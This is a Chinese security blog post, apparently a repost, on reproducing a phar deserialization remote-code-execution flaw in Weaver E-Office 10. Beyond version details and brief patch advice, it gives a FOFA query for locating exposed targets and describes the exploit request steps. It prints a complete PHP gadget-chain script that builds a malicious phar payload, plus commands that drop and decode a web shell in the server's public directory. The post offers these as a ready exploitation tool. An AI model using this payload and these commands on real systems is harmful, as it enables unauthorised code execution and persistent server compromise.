泛微 E-Office 10 atuhfile phar 反序列化漏洞

admin 2024年5月20日22:46:51评论36 views字数 2167阅读7分13秒阅读模式
 

01漏洞描述
泛微e-office10 attachment 模块存在反序列化漏洞(QVD-2024-11354),攻击者利用此漏洞可以未授权上传恶意phar文件,通过加载恶意phar文件实现反序列化,最终可导致远程代码执行。

漏洞影响版本: v10.0_20180516 < E-Office10 < v10.0_20240222

02漏洞环境

fofa语法

 body="eoffice10" && body="eoffice_loading_ti"

泛微 E-Office 10 atuhfile phar 反序列化漏洞

03漏洞复现
第1个请求,上传phar文件,数据包里是phar文件的二进制流
泛微 E-Office 10 atuhfile phar 反序列化漏洞

第2个请求,利用Phar:// 伪协议读取phar文件

泛微 E-Office 10 atuhfile phar 反序列化漏洞

第3个请求,通过第一步获取的id触发漏洞

泛微 E-Office 10 atuhfile phar 反序列化漏洞

04漏洞修复建议
1、官方已发布新版本修复漏洞,建议尽快使用服务管理平台升级到最新版或访问官网下载离线升级补丁(https://www.e-office.cn/)获取版本升级安装包或补丁。

2、如非必要,不要将 受影响系统 放置在公网上。或通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

05检查工具
 漏洞利用工具
泛微 E-Office 10 atuhfile phar 反序列化漏洞漏洞利用 (命令执行或者getshell),修改以下php代码(代码来源于网络)为想要执行的函数以及参数,如下面的命令为whoami
<?php  declare(strict_types=1);namespace IlluminateBroadcasting {  class PendingBroadcast {    protected $events;    protected $event;    public function __construct($events, $event) {      $this->events = $events;      $this->event = $event;    }  }  class BroadcastEvent {    protected $connection;    public function __construct($connection) {      $this->connection = $connection;    }  }}namespace IlluminateBus {  class Dispatcher {    protected $queueResolver;    public function __construct($queueResolver) {      $this->queueResolver = $queueResolver;    }  }}namespace {  $command = new IlluminateBroadcastingBroadcastEvent("whoami");    $dispatcher = new IlluminateBusDispatcher("system");  $pendingBroadcast = new IlluminateBroadcastingPendingBroadcast($dispatcher, $command);  // 临时文件路径  $tempPharPath = 'phar.phar';  // 创建 Phar  $phar = new Phar($tempPharPath);  $phar->startBuffering();  $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");  $phar->addFromString('test.txt', 'test');  $phar->setMetadata($pendingBroadcast);  $phar->stopBuffering();  $pharData = file_get_contents($tempPharPath);  $base64PharData = base64_encode($pharData);  $base64OutputFilePath = 'phar_base64.txt';  file_put_contents($base64OutputFilePath, $base64PharData);  unset($phar);   unlink($tempPharPath);  echo "Base64编码的Phar数据已写入到当前目录文件 {$base64OutputFilePath}";}
将生成的字符串copy到工具上即可
泛微 E-Office 10 atuhfile phar 反序列化漏洞

getshell需要生成2个字符串,修改上面的php代码,2个$command如下,后续我会将工具实现一键哥斯拉。

// 第1个是写入php代码,我这里写的是phpinfo的base64编码$command = new IlluminateBroadcastingBroadcastEvent("echo PD9waHAgcGhwaW5mbygpOyA/Pg== > ../www/eoffice10/server/public/shell.php");// 第2个是进行base64解码$command = new IlluminateBroadcastingBroadcastEvent('certutil -decode ../www/eoffice10/server/public/shell.php ../www/eoffice10/server/public/shell2.php');

泛微 E-Office 10 atuhfile phar 反序列化漏洞

 

原文始发于微信公众号(Sec探索者):【漏洞复现】泛微 E-Office 10 atuhfile phar 反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月20日22:46:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微 E-Office 10 atuhfile phar 反序列化漏洞https://cn-sec.com/archives/2757894.html

发表评论

匿名网友 填写信息